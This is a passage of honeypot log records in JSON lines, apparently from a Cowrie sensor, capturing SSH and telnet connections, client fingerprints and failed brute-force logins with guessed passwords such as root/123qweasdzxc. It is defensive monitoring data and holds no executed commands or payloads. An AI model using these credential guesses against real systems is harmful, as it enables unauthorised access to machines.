16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:15.709623Z","src_ip":"77.94.47.83","session":"51b26f43814e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ltdeirf","message":"login attempt [root/ltdeirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:16.045648Z","src_ip":"77.94.47.83","session":"51b26f43814e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:17.163692Z","src_ip":"77.94.47.83","session":"51b26f43814e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":38502,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd1c9f696172","protocol":"ssh","message":"New connection: 87.251.79.125:38502 (10.17.0.5:22) [session: cd1c9f696172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:17.231057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:17.235482Z","src_ip":"87.251.79.125","session":"cd1c9f696172","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:17.306395Z","src_ip":"87.251.79.125","session":"cd1c9f696172","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"27111990","message":"login attempt [root/27111990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:17.532692Z","src_ip":"87.251.79.125","session":"cd1c9f696172","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":56014,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6ce453de58e","protocol":"ssh","message":"New connection: 141.11.88.14:56014 (10.17.0.5:22) [session: a6ce453de58e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:18.348557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:18.518468Z","src_ip":"141.11.88.14","session":"a6ce453de58e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:18.589157Z","src_ip":"141.11.88.14","session":"a6ce453de58e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:18.661994Z","src_ip":"87.251.79.125","session":"cd1c9f696172","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"avalanche","password":"avalanche","message":"login attempt [avalanche/avalanche] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:19.690008Z","src_ip":"141.11.88.14","session":"a6ce453de58e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":41226,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6f27097ab4b","protocol":"ssh","message":"New connection: 41.86.34.139:41226 (10.17.0.5:22) [session: a6f27097ab4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:20.058794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:20.078916Z","src_ip":"41.86.34.139","session":"a6f27097ab4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:20.283167Z","src_ip":"41.86.34.139","session":"a6f27097ab4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:20.812969Z","src_ip":"141.11.88.14","session":"a6ce453de58e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@root","message":"login attempt [root/123@root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:21.107227Z","src_ip":"41.86.34.139","session":"a6f27097ab4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:22.318039Z","src_ip":"41.86.34.139","session":"a6f27097ab4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":56072,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5abd62488e5","protocol":"ssh","message":"New connection: 141.11.88.14:56072 (10.17.0.5:22) [session: d5abd62488e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:26.523495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:26.739379Z","src_ip":"141.11.88.14","session":"d5abd62488e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:26.742574Z","src_ip":"141.11.88.14","session":"d5abd62488e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test123","message":"login attempt [testuser/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:27.846747Z","src_ip":"141.11.88.14","session":"d5abd62488e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":33478,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d0191ff192b","protocol":"ssh","message":"New connection: 103.77.175.15:33478 (159.203.135.109:22) [session: 3d0191ff192b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:27.851744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:27.855653Z","src_ip":"103.77.175.15","session":"3d0191ff192b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:28.123580Z","src_ip":"103.77.175.15","session":"3d0191ff192b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.215","src_port":59283,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa787e0dcf7a","protocol":"telnet","message":"New connection: 91.230.168.215:59283 (159.203.135.109:23) [session: fa787e0dcf7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:28.827019Z"}
{"eventid":"cowrie.session.closed","duration":0.011291742324829102,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:28.838161Z","src_ip":"91.230.168.215","session":"fa787e0dcf7a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"090690","message":"login attempt [root/090690] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:28.931223Z","src_ip":"103.77.175.15","session":"3d0191ff192b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.94","src_port":46473,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee9be7189f5c","protocol":"telnet","message":"New connection: 91.230.168.94:46473 (159.203.135.109:23) [session: ee9be7189f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:28.983599Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:29.245948Z","src_ip":"141.11.88.14","session":"d5abd62488e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:30.201230Z","src_ip":"103.77.175.15","session":"3d0191ff192b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.006390333175659,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:31.989805Z","src_ip":"91.230.168.94","session":"ee9be7189f5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":46714,"dst_ip":"10.17.0.5","dst_port":22,"session":"c760807c93b2","protocol":"ssh","message":"New connection: 141.11.88.14:46714 (10.17.0.5:22) [session: c760807c93b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:33.495285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:33.557273Z","src_ip":"141.11.88.14","session":"c760807c93b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:33.627432Z","src_ip":"141.11.88.14","session":"c760807c93b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweasdzxc","message":"login attempt [root/123qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:34.621623Z","src_ip":"141.11.88.14","session":"c760807c93b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":34290,"dst_ip":"159.203.135.109","dst_port":22,"session":"8927608df9f9","protocol":"ssh","message":"New connection: 80.66.85.226:34290 (159.203.135.109:22) [session: 8927608df9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:35.535504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:35.541847Z","src_ip":"80.66.85.226","session":"8927608df9f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:35.631010Z","src_ip":"80.66.85.226","session":"8927608df9f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:35.729091Z","src_ip":"141.11.88.14","session":"c760807c93b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anna1","message":"login attempt [root/anna1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:35.900096Z","src_ip":"80.66.85.226","session":"8927608df9f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:36.991596Z","src_ip":"80.66.85.226","session":"8927608df9f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":49900,"dst_ip":"10.17.0.5","dst_port":22,"session":"f782ff807a3e","protocol":"ssh","message":"New connection: 197.5.145.150:49900 (10.17.0.5:22) [session: f782ff807a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:39.534627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:39.539687Z","src_ip":"197.5.145.150","session":"f782ff807a3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:39.661265Z","src_ip":"197.5.145.150","session":"f782ff807a3e","protocol":"ssh"}
